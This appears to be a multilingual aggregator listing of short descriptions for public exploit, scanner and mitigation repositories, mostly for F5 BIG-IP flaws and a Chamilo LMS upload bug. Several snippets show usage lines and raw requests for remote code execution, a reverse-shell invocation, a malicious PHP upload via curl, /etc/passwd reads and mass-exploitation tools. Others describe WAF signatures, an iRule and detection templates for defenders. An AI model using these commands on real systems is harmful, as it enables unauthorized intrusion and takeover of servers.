CVE-2023-4220

CVE-2023-4220 利用 Chamilo LMS 未经身份验证的大文件上传远程代码执行 用法 cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 Payload: 1 ==...

CVE-2020-5902

CVE-2020-5902 この脆弱性をチェックするためのPOCコードです。コードが公開されたため、私もこれを公開することにしました。即座にパッチを適用してください！ root@kitploit: Usage: python3 CVE-2020-5902.py -u https://big-ip.com -o check 2/dev/null...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP 未授权远程代码执行 PoC 关注我们 Vulnmachines YouTube Twitter Facebook LinkedIn...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

F5-BIG-IP-RCE-CVE-2022-1388

CVE-2022-1388 F5 BIG-IP RCE マルチスレッド検出 使用方法： root@kitploit: 単一URL: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx バッチマルチスレッド: python3 CVE-2022-1388.py -f url.txt コマンド実行: python3 CVE-2022-1388.py -u https://xxx.xxx.xxx.xxx -c whoami 結果:...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command 免責事項 このツールは学習、研究、自己点検のみを目的としています。不正な目的で使用してはなりません。本ツールの使用によって生じる一切のリスクは私とは関係ありません！ Disclaimer This tool is for study, research, and self-examination...

f5-waf-enforce-sig-CVE-2021-44228

f5-waf-enforce-sigs-CVE-2021-44228 Esto aplica las firmas para CVE-2021-44228 en todas las políticas de un dispositivo BIG-IP ASM Resumen Este script aplica todas las firmas presentes en la lista a continuación relacionadas con CVE-2021-44228 en todas las políticas en modo de bloqueo en Adv...

CVE-2022-1388

CVE-2022-1388-Exploit CVE 2022-1388のエクスプロイトとチェックスクリプト 使用方法 単一のホストURLに対してチェックするには root@kitploit: python3 exploit.py -v true -u targeturl ホストを攻撃し、そのホスト上でコマンドをテストするには root@kitploit: python3 exploit.py -a true -u targeturl -c command ホストのリストを攻撃するか、ホストURLのIPアドレスが記載されたファイルを指定する root@kitploit: python3...

CVE-2020-5902

概要 BIG-IPバージョン15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1、および11.6.1-11.6.5.1において、トラフィック管理ユーザーインターフェースTMUI（設定ユーティリティとも呼ばれる）に、非公開ページにおけるリモートコード実行RCEの脆弱性が存在します。 クレジット: Positive TechnologiesのMikhail Klyuchnikov 概念実証 root@kitploit:...

CVE-2022-1388_PoC

Explotación de RCE en F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Línea de comandos curl: root@kitploit: $ curl -i...

irule-cve-2022-22965

irule-cve-2022-22965 这是一个基础的 iRule，用于针对 CVE-2022-22965（又名 Spring4Shell）提供一些缓解措施。已在 BIG-IP 15.x 上测试。 概述 2022年3月30日，在 Java Spring 框架中发现了一个远程代码执行 RCE 漏洞，其 CVE 编号为 2022-22965。 我分享一个示例 iRule，以协助缓解此 CVE。可能需要进一步自定义，但这是一个好的开始 🙂 此 iRule 未得到 F5 的官方支持。...

CVE-2022-1388-Scanner

F5 CVE-2022-1388 スキャナー BIG-IP iControl REST の脆弱性 CVE-2022-1388 スキャナー 使用方法 root@kitploit: pip install -r requirements.txt pytohn3 CVE-2022-1388-Scanner.py リクエスト root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive, X-F5-Auth-Token...

test_cve-2023-46747

Pythonスクリプトで、F5 BIG-IPがCVE-2023-46747に対して脆弱かどうかをテストします。脆弱な場合、管理者権限を持つユーザーアカウントが追加されます。この脆弱性を緩和するには、https://my.f5.com/manage/s/article/K000137353 を参照してください。...

CVE-2020-5902

CVE-2020-5902 F5 Big-IP CVE-2020-5902 を悪用する Python スクリプト 例 ローカルファイル読み取りの悪用: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd RCE の悪用: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-202122986-EXP

F5 BIG-IP リモートコマンド実行の脆弱性（CVE-2021-22986） 影響を受けるバージョン F5 BIG-IP 16.x: 16.1.0.3 F5 BIG-IP 15.x: 15.1.0.4 F5 BIG-IP 14.x: 14.1.2.6 F5 BIG-IP 13.x: 13.1.3.4 F5 BIG-IP 12.x: 12.1.5.2 F5 BIG-IP 11.x: 11.6.5.2 fofa iconhash="-335242539" POC root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host:...

EvilRip

Cve-2020-5029-finder 这是一个用bash编写的小脚本，用于提取对CVE-2020-5902易受攻击的子域名/IP。 受影响版本 在BIG-IP版本15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1和11.6.1-11.6.5.1中，流量管理用户界面（TMUI）（也称为配置实用程序）在未公开的页面中存在远程代码执行（RCE）漏洞。 使用方法 为了使用此工具，您需要安装httprobe。 配置 首先，在list.txt中列出子域名（带http/https），您可以使用httprobe来实现：...

CVE-2022-1388-Exploit

CVE-2022-1388-Exploit CVE-2022-1388（F5 Big-IP）のテストおよびエクスプロイトスクリプト masscheck.pyは、ファイル入力を受け取り、エクスプロイトを行わずにホストが脆弱かどうかをチェックします。 検出: エンドポイントとして/mgmt/tm/util/bashをスキャンします。これはWebサーバーのログに残る可能性があります。または、F5をお持ちの場合はパッチを適用してください。影響を受けるバージョンは以下に示されており、パッチはこちらから入手可能です https://support.f5.com/csp/article/K236053...

F5-Big-IP-CVE-2020-5902-mass-exploiter

F5-Big-IP-CVE-2020-5902-mass-exploiter F5 Big-IP CVE-2020-5902 批量利用/模糊测试器。 用法：CVE-2020-5902-mass-exploiter.py -l list.txt -w workers...

Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Nuclei テンプレート CVE-2022-1388 BIG-IP iControl REST 露出 2022年5月6日 これは認証エンドポイントにアクセスしてAPIの存在を確認するだけです この脆弱性により、管理ポートやセルフIPアドレスを介してBIG-IPシステムにネットワークアクセス可能な認証されていない攻撃者が、任意のシステムコマンドを実行したり、ファイルを作成・削除したり、サービスを無効化したりする可能性があります。データプレーンへの影響はなく、これはコントロールプレーンの問題のみです。 このテンプレートは簡単なチェックです リクエストを送信: path...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: virtio-net: The issue of checking the received length in large packets has been fixed. Since commit 4959aebba8c0 “virtio-net: Use the MTU size as the buffer length for large packets”, when the guest gso is disabled, the allocated...